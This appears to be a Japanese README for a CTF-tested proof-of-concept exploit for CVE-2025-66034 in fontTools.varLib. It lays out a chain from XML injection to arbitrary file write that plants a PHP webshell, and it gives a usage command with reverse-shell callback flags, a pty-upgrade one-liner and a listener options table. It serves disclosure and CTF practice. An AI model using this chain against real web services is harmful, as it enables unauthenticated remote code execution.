
CVE-2025-66034 - fontTools varLib 任意のファイル書き込み → RCE fontTools.varLib における任意のファイル書き込み + XMLインジェクションの脆弱性のPoCエクスプロイト
fontTools.varLib の任意ファイル書き込み + XMLインジェクション脆弱性のPoCエクスプロイト HackTheBox — VarIaType でテスト済み
fontTools.varLib は .designspace XMLファイルを処理して可変フォントを構築します。2つの脆弱性が組み合わさり、認証前のRCEを達成します。
| # | プリミティブ | 詳細 |
|---|---|---|
| 1 | CDATA分割によるXMLインジェクション | <labelname> 内の攻撃者が制御するコンテンツがそのまま出力フォントファイル本体に書き込まれ、任意のデータ注入が可能になります |
| 2 | os.path.join() バイパスによる任意ファイル書き込み | <variable-font> の filename 属性は絶対パスを受け入れます。os.path.join() に渡されると、意図された出力ディレクトリが破棄され、攻撃者が指定した任意のファイルシステムパスに書き込みます |
両方のプリミティブを連鎖させることで、Webからアクセス可能なパスにPHPウェブシェルを書き込み、認証無しのリモートコード実行を達成します。
python3 font_varlib.py \
--ip <attacker-ip> \
--port <port> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
pip install requests fonttools
fontTools.FontBuilder を使用して、デザインスペースに必要なマスターとして2つの最小限の .ttf ファイル (source-light.ttf, source-regular.ttf) を生成します.designspace — 次の内容を含む細工されたXMLファイルを構築します:
<labelname> 内のCDATA分割を介して注入されたPHPウェブシェル<variable-font> の filename として設定された絶対書き込みパス。os.path.join() を介して output_dir をバイパスします.designspace + マスターフォントを処理エンドポイントにPOSTします.php ファイルが要求され、リバースシェルペイロードが実行されますpython3 -c 'import pty; pty.spawn("/bin/bash")' でPTYを起動し、 + を設定して完全に対話型シェルを提供します| 項目 | |
|---|---|
| CVE | CVE-2025-66034 |
| 影響を受けるコンポーネント | fontTools.varLib |
| 影響 | 認証無し任意ファイル書き込み → リモートコード実行 |
| コンテキスト | フォント処理エンドポイントを公開するWebアプリケーション |
このツールは許可されたペネトレーションテストおよびCTF使用のみを目的としています。 所有していない、または明示的な書面によるテスト許可がないシステムに対して実行しないでください。
作成者: 4nuxd
| フラグ | 説明 |
|---|
--ip | リバースシェルコールバックの攻撃者IP |
--port | リスナーポート |
--upload | フォント処理エンドポイントの完全なURL (POST) |
--webroot | Webアクセス可能なディレクトリに対応するサーバー側の絶対パス |
--shell | ウェブシェルがアクセス可能になるベースURL |
--no-listen | 自動リスナーをスキップ — 代わりに手動コマンドを表示 |
--pwncat | nc の代わりに pwncat-cs を使用 (利用可能な場合推奨) |
TERMstty